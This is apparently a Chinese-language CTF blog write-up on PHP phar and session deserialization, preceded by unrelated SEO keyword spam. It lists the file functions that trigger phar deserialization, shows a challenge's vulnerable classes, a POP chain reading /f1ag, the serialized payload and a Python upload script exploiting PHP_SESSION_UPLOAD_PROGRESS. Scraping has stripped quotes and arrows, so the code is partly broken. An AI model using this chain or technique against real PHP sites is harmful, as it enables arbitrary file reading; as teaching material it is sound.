ppt做视频 模板下载网站,商业街网站建设方案,企业网站建设公司多米,邯郸注册公司目录
①phar反序列化
②session反序列化 ①phar反序列化
phar 认为是java的jar包 calc.exe
phar能干什么
多个php合并为独立压缩包#xff0c;不解压就能执行里面的php文件#xff0c;支持web服务器和命令行
phar协议
phar://xxx.phar $phar-setmetadata($h); m…目录
①phar反序列化
②session反序列化 ①phar反序列化
phar 认为是java的jar包 calc.exe
phar能干什么
多个php合并为独立压缩包不解压就能执行里面的php文件支持web服务器和命令行
phar协议
phar://xxx.phar $phar-setmetadata($h); metaData可以存放一个类实例会将这个类实例以序列化字符串形式存放至Phar文件内 当使用phar协议加载phar文件时会自动反序列化这个类的序列化字符串 总结 1.生成phar包时可以往metaData里面放对象 2.生成后对象会自动序列化保存到phar包中 3.使用phar协议读取phar包时如果当前脚本识别了这个类会自动调用这个类的魔术方法
哪里使用的多
如果有上传点上传文件的前半部分可控后缀黑名单不能上传危险的后缀为php phps phtml ini 没有禁止上传phar文件 能够上传phar文件找到大量使用的file_exists等文件读取函数通过控制phar://头来使用phar协议来解析phar包 就能自动进行反序列化
条件 1 能够生成phar包并上传写入 2 有可利用的文件操作函数并控制了协议头使用phar协议解析 3 有可利用的恶意类 可以触发phar反序列化的函数 fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() filesize() is_dir() scandir() rmdir() highlight_file() ②session反序列化
在 PHP 中PHP_SESSION_UPLOAD_PROGRESS是一个内置的会话变量用于跟踪文件上传的进度。当使用 PHP 通过 HTTP POST 方法上传文件时PHP 将自动创建并初始化这个变量。它的值表示上传文件的字节数。这个值可能会在整个上传过程中不断更新以反映上传的实时进度。在一些情况下可以使用这个变量来实现对上传进度的监控和处理。
php的session时存放在文件中的 默认位置时/tmp/sess_PHPSESSID session 可以放字符串数字也可以放对象
1 session里面存放对象时会自动进行序列化存放序列化后的字符串 2 session里面拿取对象时会自动进行反序列化执行对象的魔术方法
php序列化处理器方式 xxx|O:4:user:2{s:8username;N;s:8:password;N;} php_serialize序列化处理器方式 a:1:{s:3:xxx;O:4:user:2:{s:8username;N;s:8:password;N;}}
例题web63 ?phpinfo看一眼phpinfo应证了ini_set(session.serialize_handler, php);
即用|识别竖线以左代表session的key键竖线以右代表反序列化的字符串 ?source看一眼class.php
贴出源码
?phpclass Happy {public $happy;function __construct(){$this-happyHappy_New_Year!!!;}function __destruct(){$this-happy-happy;}public function __call($funName, $arguments){die($this-happy-$funName);}public function __set($key,$value){$this-happy-$key $value;}public function __invoke(){echo $this-happy;}}class _New_{public $daniu;public $robot;public $notrobot;private $_New_;function __construct(){$this-daniuIm daniu.;$this-robotIm robot.;$this-notrobotIm not a robot.;}public function __call($funName, $arguments){echo $this-daniu.$funName.not exists!!!;}public function __invoke(){echo $this-daniu;$this-daniu$this-robot;echo $this-daniu;}public function __toString(){$robot$this-robot;$this-daniu-$robot$this-notrobot;return (string)$this-daniu;}public function __get($key){echo $this-daniu.$key.not exists!!!;}}class Year{public $zodiac;public function __invoke(){echo happy .$this-zodiac. year!;}function __construct(){$this-zodiacHu;}public function __toString(){$this-show();}public function __set($key,$value)#3{$this-$key $value;}public function show(){die(file_get_contents($this-zodiac));}public function __wakeup(){$this-zodiac hu;}}
?
先搓个链子
Happy::__destruct-_New_::__get-_New_::__toString-Year::__toString-Year::show 构造
$hnew Happy();
$nnew _New_();
$n2new _New_();
$ynew Year();
$n2-daniu$y;
$n2-robotzodiac;
$n2-notrobot/f1ag;
$n-daniu$n2;
$h-happy$n;echo serialize($h);//O:5:Happy:1:{s:5:happy;O:5:_New_:4:{s:5:daniu;O:5:_New_:4:{s:5:daniu;O:4:Year:1:{s:6:zodiac;s:2:Hu;}s:5:robot;s:6:zodiac;s:8:notrobot;s:5:/f1ag;s:12: _New_ _New_;N;}s:5:robot;s:10:Im robot.;s:8:notrobot;s:16:Im not a robot.;s:12: _New_ _New_;N;}}
因为class.php的类都在初始界面注册我们通过强制文件上传的形式把filename存到session中在session_start()触发反序列化利用恶意类进行任意文件读取。
写个表单提交脚本
import requestsp1a|O:5:\Happy\:1:{s:5:\happy\;O:5:\_New_\:4:{s:5:\daniu\;O:5:\_New_\:4:{s:5:\daniu\;O:4:\Year\:1:{s:6:\zodiac\;s:2:\Hu\;}s:5:\robot\;s:6:\zodiac\;s:8:\notrobot\;s:5:\/f1ag\;s:12:\ _New_ _New_\;N;}s:5:\robot\;s:10:\Im robot.\;s:8:\notrobot\;s:16:\Im not a robot.\;s:12:\ _New_ _New_\;N;}}
urlhttp://edb45d1d-7acd-41da-8f1f-00b7b898cc21.challenges.ctfer.com:8080/
sessionrequests.session()file{file:(p1,aaa)}data{PHP_SESSION_UPLOAD_PROGRESS:123}cookie{PHPSESSID:441a16842171ded17f387411ab56a85f}respsession.post(urlurl,datadata,filesfile,cookiescookie,proxies{http:127.0.0.1:8080})
print(resp.text)